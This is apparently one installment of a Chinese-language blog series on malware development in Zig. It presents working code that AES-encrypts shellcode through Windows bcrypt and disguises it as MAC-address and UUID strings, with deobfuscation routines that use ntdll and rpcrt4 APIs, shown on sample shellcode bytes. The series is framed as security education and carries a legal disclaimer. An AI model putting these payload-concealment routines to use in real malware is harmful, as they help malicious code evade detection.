iT邦幫忙

2025 iThome 鐵人賽

DAY 10
1
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 10

Day10 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(下)

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

嗨大家,我 CX330。

我明天和後天都各還有一個死線,希望今天可以早點寫完,真可怕,果然還是要囤文章比較不會累死。

昨天已經介紹了 XOR、RC4 跟 IP 位址混淆,今天要來介紹 AES 加密、MAC 位址混淆和 UUID 混淆。如果還沒有看過上一篇的可以先去閱讀一下,那就讓我們開始吧!

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

AES 加密

我們在這邊會提供一種方式去實作,就是使用 Windows 的 bcrypt.h API。

另外,礙於篇幅,我有使用另外兩種方式實作,會放在這邊。是利用 Zig 標準函式庫和 TinyAES 專案去實作,如果有興趣歡迎去閱讀按星星。

AES 分別根據金鑰長度的不同,分為 AES128、AES192 和 AES256。此外,它可以使用不同的區塊加密法工作模式,例如 ECB、CBC 等等,下面的範例都會使用 CBC 加密。

然後 AES 還會需要一個初始化向量(Initialization Vector, IV),提供 IV 將會給加密的過程提供額外的隨機性。

無論選擇哪種 AES 類型,AES 始終需要 128 位元的輸入並產生 128 位元的輸出塊。重要的是要記住,輸入資料應該是 16 位元組(128 位元)的倍數。如果被加密的負載不是 16 位元組的倍數,則需要填充以增加負載大小,使其成為 16 位元的倍數。

使用 bcrypt.h

定義 AES 結構體

const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

const KEY_SIZE = 32;
const IV_SIZE = 16;

const DWORD = u32;
const BOOL = i32;
const PBYTE = [*]u8;
const PVOID = ?*anyopaque;
const ULONG = u32;
const NTSTATUS = i32;

const BCRYPT_BLOCK_PADDING = 0x00000001;
const STATUS_SUCCESS: NTSTATUS = 0;

const BCRYPT_AES_ALGORITHM = std.unicode.utf8ToUtf16LeStringLiteral("AES");
const BCRYPT_CHAINING_MODE = std.unicode.utf8ToUtf16LeStringLiteral("ChainingMode");
const BCRYPT_CHAIN_MODE_CBC = std.unicode.utf8ToUtf16LeStringLiteral("ChainingModeCBC");

const AES = extern struct {
    pPlainText: ?PBYTE,
    dwPlainSize: DWORD,
    pCipherText: ?PBYTE,
    dwCipherSize: DWORD,
    pKey: ?PBYTE,
    pIv: ?PBYTE,
};

宣告 bcrypt.dll 匯出的外部函數

要先宣告 BCryptOpenAlgorithmProvider,用來獲取 CNG(Windows Cryptography API: Next Generation)演算法提供者的句柄,這是使用任何加密算法的第一步。

extern "bcrypt" fn BCryptOpenAlgorithmProvider(
    phAlgorithm: *?*anyopaque,
    pszAlgId: [*:0]const u16,
    pszImplementation: ?[*:0]const u16,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

再來要使用 BCryptCLoseAlgorithmProvider 來關閉使用 BCryptOpenAlgorithmProvider 開啟的演算法提供者的句柄。

extern "bcrypt" fn BCryptCloseAlgorithmProvider(
    hAlgorithm: ?*anyopaque,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

下一個要宣告的是 BCryptGetProperty,用來獲取 CNG 物件的屬性值。

extern "bcrypt" fn BCryptGetProperty(
    hObject: ?*anyopaque,
    pszProperty: [*:0]const u16,
    pbOutput: PBYTE,
    cbOutput: ULONG,
    pcbResult: *ULONG,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

然後要設置 CNG 物件的屬性,所以要宣告 BCryptSetProperty

extern "bcrypt" fn BCryptSetProperty(
    hObject: ?*anyopaque,
    pszProperty: [*:0]const u16,
    pbInput: PBYTE,
    cbInput: ULONG,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

建立對稱式金鑰會用的 BCryptGenerateSymmetricKey

extern "bcrypt" fn BCryptGenerateSymmetricKey(
    hAlgorithm: ?*anyopaque,
    phKey: *?*anyopaque,
    pbKeyObject: PBYTE,
    cbKeyObject: ULONG,
    pbSecret: PBYTE,
    cbSecret: ULONG,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

要關閉金鑰句柄的函數 BCryptDestroyKey

extern "bcrypt" fn BCryptDestroyKey(hKey: ?*anyopaque) callconv(.C) NTSTATUS;

最後,就是加密函數 BCryptEncrypt

extern "bcrypt" fn BCryptEncrypt(
    hKey: ?*anyopaque,
    pbInput: [*]u8,
    cbInput: ULONG,
    pPaddingInfo: ?*anyopaque,
    pbIV: [*]u8,
    cbIV: ULONG,
    pbOutput: ?[*]u8,
    cbOutput: ULONG,
    pcbResult: *ULONG,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

還有解密函數 BCryptDecrypt

extern "bcrypt" fn BCryptDecrypt(
    hKey: ?*anyopaque,
    pbInput: [*]u8,
    cbInput: ULONG,
    pPaddingInfo: ?*anyopaque,
    pbIV: [*]u8,
    cbIV: ULONG,
    pbOutput: ?[*]u8,
    cbOutput: ULONG,
    pcbResult: *ULONG,
    dwFlags: ULONG,
) callconv(.C) NTSTATUS;

加密

// Encryption
fn installAesEncryption(aes: *AES) bool {
    var bSTATE: bool = true;
    var hAlgorithm: ?*anyopaque = null;
    var hKeyHandle: ?*anyopaque = null;

    var cbResult: ULONG = 0;
    var dwBlockSize: DWORD = 0;
    var cbKeyObject: DWORD = 0;
    var pbKeyObject: ?[*]u8 = null;
    var pbCipherText: ?[*]u8 = null;
    var cbCipherText: DWORD = 0;

    var status: NTSTATUS = STATUS_SUCCESS;

    blk: {
        status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGetProperty(
            hAlgorithm,
            std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
            @ptrCast(&cbKeyObject),
            @sizeOf(DWORD),
            &cbResult,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGetProperty(
            hAlgorithm,
            std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
            @ptrCast(&dwBlockSize),
            @sizeOf(DWORD),
            &cbResult,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        if (dwBlockSize != 16) {
            bSTATE = false;
            break :blk;
        }
        pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
        if (pbKeyObject == null) {
            bSTATE = false;
            break :blk;
        }
        status = BCryptSetProperty(
            hAlgorithm,
            BCRYPT_CHAINING_MODE,
            @ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
            @sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGenerateSymmetricKey(
            hAlgorithm,
            &hKeyHandle,
            pbKeyObject.?,
            cbKeyObject,
            aes.pKey.?,
            KEY_SIZE,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptEncrypt(
            hKeyHandle,
            aes.pPlainText.?,
            aes.dwPlainSize,
            null,
            aes.pIv.?,
            IV_SIZE,
            null,
            0,
            &cbCipherText,
            BCRYPT_BLOCK_PADDING,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptEncrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        pbCipherText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbCipherText));
        if (pbCipherText == null) {
            bSTATE = false;
            break :blk;
        }
        status = BCryptEncrypt(
            hKeyHandle,
            aes.pPlainText.?,
            aes.dwPlainSize,
            null,
            aes.pIv.?,
            IV_SIZE,
            pbCipherText,
            cbCipherText,
            &cbResult,
            BCRYPT_BLOCK_PADDING,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptEncrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
    }
    if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
    if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
    if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
    if (pbCipherText != null and bSTATE) {
        aes.pCipherText = pbCipherText;
        aes.dwCipherSize = cbCipherText;
    }
    return bSTATE;
}

這個函數在做的事情如下:

  1. 先取得 AES 加密算法提供者句柄 hAlgorithm
  2. 取得金鑰物件的大小 ObjectLength
  3. 取得每個加密塊的大小 BlockLength
  4. 分配 pbKeyObject
  5. 接著用 BCryptSetProperty 設定 CBC 模式
  6. BCryptGenerateSymmetricKey 建立對稱式金鑰的 Handle
  7. 兩階段呼叫 BCryptEncrypt
    1. 第一次呼叫傳入 pbCipherText = nullcbCipherText = 0,用來取得所需的輸出長度(回填 cbCipherText
    2. cbCipherText 分配 pbCipherText,第二次呼叫把實際密文寫入分配的緩衝。傳入 BCRYPT_BLOCK_PADDING 讓 CNG 自行做 PKCS#7 padding
  8. 如果成功,把 pbCipherText 與長度放到 aes 結構給呼叫者
  9. 最後銷毀 key handle、關閉 provider、釋放臨時緩衝。

移除 Padding

// Remove PKCS#7 padding from decrypted data
fn removePkcs7Padding(data: []u8) ?[]u8 {
    if (data.len == 0) return null;

    const padding_length = data[data.len - 1];

    // Validate padding length
    if (padding_length == 0 or padding_length > 16 or padding_length > data.len) {
        return null;
    }

    // Validate all padding bytes are the same
    const start_index = data.len - padding_length;
    for (data[start_index..]) |byte| {
        if (byte != padding_length) {
            return null;
        }
    }

    return data[0..start_index];
}

解密

// Decryption
fn installAesDecryption(aes: *AES) bool {
    var bSTATE: bool = true;
    var hAlgorithm: ?*anyopaque = null;
    var hKeyHandle: ?*anyopaque = null;

    var cbResult: ULONG = 0;
    var dwBlockSize: DWORD = 0;
    var cbKeyObject: DWORD = 0;
    var pbKeyObject: ?[*]u8 = null;
    var pbPlainText: ?[*]u8 = null;
    var cbPlainText: DWORD = 0;

    var status: NTSTATUS = STATUS_SUCCESS;

    blk: {
        status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGetProperty(
            hAlgorithm,
            std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
            @ptrCast(&cbKeyObject),
            @sizeOf(DWORD),
            &cbResult,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGetProperty(
            hAlgorithm,
            std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
            @ptrCast(&dwBlockSize),
            @sizeOf(DWORD),
            &cbResult,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        if (dwBlockSize != 16) {
            bSTATE = false;
            break :blk;
        }
        pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
        if (pbKeyObject == null) {
            bSTATE = false;
            break :blk;
        }
        status = BCryptSetProperty(
            hAlgorithm,
            BCRYPT_CHAINING_MODE,
            @ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
            @sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptGenerateSymmetricKey(
            hAlgorithm,
            &hKeyHandle,
            pbKeyObject.?,
            cbKeyObject,
            aes.pKey.?,
            KEY_SIZE,
            0,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        status = BCryptDecrypt(
            hKeyHandle,
            aes.pCipherText.?,
            aes.dwCipherSize,
            null,
            aes.pIv.?,
            IV_SIZE,
            null,
            0,
            &cbPlainText,
            BCRYPT_BLOCK_PADDING,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptDecrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }
        pbPlainText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbPlainText));
        if (pbPlainText == null) {
            bSTATE = false;
            break :blk;
        }
        status = BCryptDecrypt(
            hKeyHandle,
            aes.pCipherText.?,
            aes.dwCipherSize,
            null,
            aes.pIv.?,
            IV_SIZE,
            pbPlainText,
            cbPlainText,
            &cbResult,
            BCRYPT_BLOCK_PADDING,
        );
        if (!ntSuccess(status)) {
            std.debug.print("[!] BCryptDecrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
            bSTATE = false;
            break :blk;
        }

        // Remove PKCS#7 padding after successful decryption
        if (pbPlainText != null and cbResult > 0) {
            const decrypted_data = pbPlainText.?[0..cbResult];
            if (removePkcs7Padding(decrypted_data)) |unpadded| {
                cbResult = @intCast(unpadded.len);
            }
        }
    }
    if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
    if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
    if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
    if (pbPlainText != null and bSTATE) {
        aes.pPlainText = pbPlainText;
        aes.dwPlainSize = cbResult; // Use the adjusted size after padding removal
    }
    return bSTATE;
}

這個函式在做這些事:

  1. 一樣先開啟 Provider 的句柄
  2. 讀取 ObjectLength
  3. 分配 pbKeyObject
  4. 設定 CBC 模式
  5. 產生 Key 句柄
  6. 像加密時一樣,兩階段呼叫 BCryptDecrypt
  7. 呼叫 removePkcs7Padding 驗證並計算真正的明文長度
  8. 清理句柄,若成功把 pbPlainText 與新長度放進 aes 結構

MAC 地址混淆

這部分我們會把 Payload 轉換成類似 MAC 地址的形式,像是 AA-BB-CC-DD-EE-FF 的形式。因為 MAC 地址是由 6 個位元組組成的,所以 Payload 需要是 6 的倍數,如果不是的話可以寫個函數去增加填充。

混淆

先來看看程式碼。

const std = @import("std");

/// Generates a MAC address string from 6 raw bytes
fn generateMAC(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, buffer: []u8) []const u8 {
    // Format the 6 bytes as a MAC address string (XX-XX-XX-XX-XX-XX)
    return std.fmt.bufPrint(buffer, "{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}", .{
        a, b, c, d, e, f,
    }) catch unreachable;
}

/// Generate the MAC output representation of the shellcode
fn generateMacOutput(pShellcode: []const u8, writer: anytype) !bool {
    const shellcodeSize = pShellcode.len;

    // If the shellcode buffer is empty or the size is not a multiple of 6, exit
    if (shellcodeSize == 0 or shellcodeSize % 6 != 0) {
        return false;
    }

    try writer.print("const mac_array = [_][*:0]const u8{{\n\t", .{});

    // Buffer to hold the MAC address string (XX-XX-XX-XX-XX-XX = 17 chars + null)
    var macBuffer: [32]u8 = undefined;

    var counter: usize = 0;

    // Process the shellcode in groups of 6 bytes
    var i: usize = 0;
    while (i < shellcodeSize) {
        // Generate a MAC address from the current 6 bytes
        const mac = generateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], &macBuffer);

        counter += 1;

        // Print the MAC address
        if (i == shellcodeSize - 6) {
            // Last MAC address
            try writer.print("\"{s}\"", .{mac});
        } else {
            // Not the last one, add comma
            try writer.print("\"{s}\", ", .{mac});
        }

        // Move to the next group of 6 bytes
        i += 6;

        // Add a newline for formatting after every 6 MAC addresses
        if (counter % 6 == 0 and i < shellcodeSize) {
            try writer.print("\n\t", .{});
        }
    }

    try writer.print("\n}};\n\n", .{});
    return true;
}

pub fn main() !void {
    // Example shellcode (must be a multiple of 6 bytes)
    const shellcode = [_]u8{
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, // 1st MAC
        0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, // 2nd MAC
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, // 3rd MAC
        0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, // 4th MAC
        0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, // 5th MAC
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, // 6th MAC
        0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, // 7th MAC
    };

    // Use stdout as the writer
    const stdout = std.io.getStdOut().writer();

    std.debug.print("[+] Generating MAC address representation for {} bytes of shellcode\n", .{shellcode.len});

    // Generate and print the MAC address representation
    if (try generateMacOutput(&shellcode, stdout)) {} else {
        std.debug.print("[!] Failed to generate MAC address representation\n", .{});
    }
}

和昨天的部分一樣,混淆的部分主要是在 generateMAC 這個函數,它會接收 7 個參數,分別是 Payload 的 6 個字元和 1 個緩衝區。接著使用 std.fmt.bufPrint 去把格式化成 MAC 地址的字串放進緩衝區。

解混淆

解混淆的時候我們會去動態從 ntdll.dll 載入 RtlEthernetStringToAddressA 這個函數,這個函數就是會幫我們把 MAC 地址轉回 Raw bytes 並放回緩衝去,也就完成了解混淆的工作。

const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

const NTSTATUS = win.NTSTATUS;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;

// Define function pointer type for RtlEthernetStringToAddressA
const fnRtlEthernetStringToAddressA = fn (
    S: PCSTR,
    Terminator: *PCSTR,
    Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;

/// Deobfuscates an array of MAC addresses into a byte buffer
pub fn macDeobfuscation(
    macArray: []const [*:0]const u8,
    allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
    // Create a UTF-16 string for "NTDLL"
    const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");

    // Load the NTDLL library using wide string
    const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
    if (ntdll_module == null) {
        std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetModuleHandleFailed;
    }

    // Get the address of RtlEthernetStringToAddressA function
    const rtlEthernetStringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlEthernetStringToAddressA");
    if (rtlEthernetStringToAddressA_ptr == null) {
        std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetProcAddressFailed;
    }

    // Cast the function pointer to the correct type
    const rtlEthernetStringToAddressA: *const fnRtlEthernetStringToAddressA = @ptrCast(rtlEthernetStringToAddressA_ptr);

    // Calculate the size of the buffer needed (number of MAC addresses * 6 bytes each)
    const bufferSize = macArray.len * 6; // MAC addresses are 6 bytes each

    // Allocate memory for the deobfuscated shellcode
    const buffer = try allocator.alloc(u8, bufferSize);
    errdefer allocator.free(buffer);

    // Using a raw pointer to keep track of our current position
    var tmpBuffer: [*]u8 = buffer.ptr;

    // Deobfuscate each MAC address
    for (macArray) |macAddress| {
        var terminator: PCSTR = undefined;

        // Convert the MAC address string to bytes
        const status = rtlEthernetStringToAddressA(macAddress, &terminator, tmpBuffer);

        // Check if the status is not SUCCESS (0)
        if (status != NTSTATUS.SUCCESS) {
            std.debug.print("[!] RtlEthernetStringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ macAddress, @intFromEnum(status) });
            return error.RtlEthernetStringToAddressFailed;
        }

        // Increment tmpBuffer by 6 bytes for the next address
        tmpBuffer = @as([*]u8, @ptrFromInt(@intFromPtr(tmpBuffer) + 6));
    }

    return .{ .buffer = buffer, .size = bufferSize };
}

pub fn main() !void {
    // Setup allocator
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();
    const allocator = arena.allocator();

    // Example array of MAC addresses (shellcode encoded as MAC)
    const mac_array = [_][*:0]const u8{ "FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72", "50-48-0F-B7-4A-4A" };
    std.debug.print("[+] Attempting to deobfuscate {} MAC addresses\n", .{mac_array.len});

    // Call the deobfuscation function
    const result = try macDeobfuscation(&mac_array, allocator);
    defer allocator.free(result.buffer);

    std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
    std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});

    // Print all bytes
    std.debug.print("[+] Deobfuscated bytes: ", .{});
    for (result.buffer) |byte| {
        std.debug.print("{X:0>2} ", .{byte});
    }
    std.debug.print("\n", .{});
}

UUID 混淆

和之前的差不多,會把 Payload 轉乘 UUID 的形式。我們先來看一下 UUID 長什麼樣子。

UUID - https://www.jyshare.com/front-end/9424/

不過 UUID 混淆會比起以往的還要再複雜一點,例如 FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 不會被轉換為 FC4883E4-F0E8-C000-0000-415141505251,而是會被轉換成 E48348FC-E8F0-00C0-0000-415141505251

這其中的規則在於,前面的三段會是由小端序(Little endian)組成的,而後兩段是由大端序(Big endian)組成的。

混淆

那我們來看一下程式碼。

const std = @import("std");

/// Generates a UUID string from 16 raw bytes
fn generateUuid(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, g: u8, h: u8, i: u8, j: u8, k: u8, l: u8, m: u8, n: u8, o: u8, p: u8, buffer: []u8) ![]const u8 {
    // In Zig, we can directly format the entire UUID in one go instead of
    // creating intermediate segments as in the C version
    return try std.fmt.bufPrint(buffer, "{X:0>2}{X:0>2}{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}", .{ d, c, b, a, f, e, h, g, i, j, k, l, m, n, o, p });
}

/// Generate the UUID output representation of the shellcode
fn generateUuidOutput(pShellcode: []const u8, writer: anytype) !bool {
    const shellcodeSize = pShellcode.len;

    // If the shellcode buffer is empty or the size is not a multiple of 16, exit
    if (shellcodeSize == 0 or shellcodeSize % 16 != 0) {
        return false;
    }

    try writer.print("const uuid_array = [_][*:0]const u8{{\n\t", .{});

    // Buffer to hold the UUID string (36 chars + null terminator)
    var uuidBuffer: [40]u8 = undefined;

    // Process the shellcode in groups of 16 bytes
    var counter: usize = 0;
    var i: usize = 0;

    while (i < shellcodeSize) {
        // Make sure we have 16 bytes available
        if (i + 15 >= shellcodeSize) break;

        counter += 1;

        // Generate the UUID from the current 16 bytes
        const uuid = try generateUuid(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7], pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11], pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15], &uuidBuffer);

        // Print the UUID
        if (i == shellcodeSize - 16) {
            // Last UUID
            try writer.print("\"{s}\"", .{uuid});
        } else {
            // Not the last one, add comma
            try writer.print("\"{s}\", ", .{uuid});
        }

        // Move to next group of 16 bytes
        i += 16;

        // Add a newline for formatting after every 3 UUIDs
        if (counter % 3 == 0 and i < shellcodeSize) {
            try writer.print("\n\t", .{});
        }
    }

    try writer.print("\n}};\n\n", .{});
    return true;
}

pub fn main() !void {
    // Example shellcode (must be a multiple of 16 bytes)
    const shellcode = [_]u8{
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, // Add more shellcode here if needed
    };

    // Use stdout as the writer
    const stdout = std.io.getStdOut().writer();

    std.debug.print("[+] Generating UUID representation for {} bytes of shellcode\n", .{shellcode.len});

    // Generate and print the UUID representation
    if (try generateUuidOutput(&shellcode, stdout)) {} else {
        std.debug.print("[!] Failed to generate UUID representation\n", .{});
    }
}

注意 generateUuid 這個函數的 bufPrint 裡面的格式化字符串並不是從 ap 照順序排列,這就是因為剛剛提到的端序的問題。

解混淆

要解混淆,我們會動態的從 rpcrt4.dll 載入 UuidFromStringA 這個函數,雖然 UUID 的不同的段有不同的端序,但是 UuidFromStringA 這個 Windows API 會幫我們處理這些問題。

const std = @import("std");
const windows = std.os.windows;
const WINAPI = windows.WINAPI;

// Type definitions
const RPC_STATUS = u32;
const RPC_CSTR = [*:0]const u8;
const UUID = extern struct {
    data1: u32,
    data2: u16,
    data3: u16,
    data4: [8]u8,
};

const RPC_S_OK: RPC_STATUS = 0;

// Function pointer type for UuidFromStringA
const UuidFromStringAFn = *const fn (RPC_CSTR, *UUID) callconv(WINAPI) RPC_STATUS;

// External function declarations
extern "kernel32" fn GetProcAddress(hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) ?windows.FARPROC;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(WINAPI) ?windows.HMODULE;
extern "kernel32" fn GetProcessHeap() callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: windows.HANDLE, dwFlags: windows.DWORD, dwBytes: usize) callconv(WINAPI) ?*anyopaque;
extern "kernel32" fn HeapFree(hHeap: windows.HANDLE, dwFlags: windows.DWORD, lpMem: ?*anyopaque) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) windows.DWORD;

const HEAP_ZERO_MEMORY: windows.DWORD = 0x00000008;

pub fn uuidDeobfuscation(
    uuid_array: []const [*:0]const u8,
    pp_d_address: *?[*]u8,
    p_d_size: *usize,
) bool {
    // Getting UuidFromStringA address from Rpcrt4.dll
    const rpcrt4_handle = LoadLibraryA("RPCRT4") orelse {
        std.debug.print("[!] LoadLibrary Failed With Error : {}\n", .{GetLastError()});
        return false;
    };

    const proc_addr = GetProcAddress(rpcrt4_handle, "UuidFromStringA") orelse {
        std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{GetLastError()});
        return false;
    };

    const uuid_from_string_a: UuidFromStringAFn = @ptrCast(proc_addr);

    // Getting the real size of the shellcode which is the number of UUID strings * 16
    const buff_size = uuid_array.len * 16;

    // Allocating memory which will hold the deobfuscated shellcode
    const buffer_ptr = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buff_size) orelse {
        std.debug.print("[!] HeapAlloc Failed With Error : {}\n", .{GetLastError()});
        return false;
    };

    const buffer: [*]u8 = @ptrCast(buffer_ptr);
    var tmp_buffer: [*]u8 = buffer;

    // Loop through all the UUID strings saved in uuid_array
    for (uuid_array, 0..) |uuid_string, i| {
        // Deobfuscating one UUID string at a time
        _ = i; // Suppress unused variable warning
        const status = uuid_from_string_a(uuid_string, @ptrCast(@alignCast(tmp_buffer)));

        if (status != RPC_S_OK) {
            std.debug.print("[!] UuidFromStringA Failed At [{s}] With Error 0x{X:0>8}\n", .{ uuid_string, status });
            return false;
        }

        // 16 bytes are written to tmp_buffer at a time
        // Therefore tmp_buffer will be incremented by 16 to store the upcoming 16 bytes
        tmp_buffer += 16;
    }

    pp_d_address.* = buffer;
    p_d_size.* = buff_size;

    return true;
}

// Example usage
pub fn main() !void {
    // Example UUID array (you would replace this with actual UUIDs)
    const uuid_array = [_][*:0]const u8{"E48348FC-E8F0-00C0-0000-415141505251"};
    var deobfuscated_data: ?[*]u8 = null;
    var data_size: usize = 0;

    if (uuidDeobfuscation(uuid_array[0..], &deobfuscated_data, &data_size)) {
        std.debug.print("[+] Deobfuscation successful! Size: {} bytes\n", .{data_size});

        // Use the deobfuscated data here
        if (deobfuscated_data) |data| {
            // Example: print first few bytes
            for (0..@min(data_size, 32)) |i| {
                std.debug.print("{X:0>2} ", .{data[i]});
            }
            std.debug.print("\n", .{}); // Fixed: empty tuple instead of empty braces

            // Free allocated memory
            _ = HeapFree(GetProcessHeap(), 0, data);
        }
    } else {
        std.debug.print("[!] Deobfuscation failed!\n", .{}); // Fixed: empty tuple instead of empty braces
    }
}

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦終於結束了,我要趕快去趕另一個 Deadline 了,累死累死。是說真的莫名其妙就來到了第十天了,有點小感動自己能撐到現在,也十分感謝閱讀到這邊的大家!

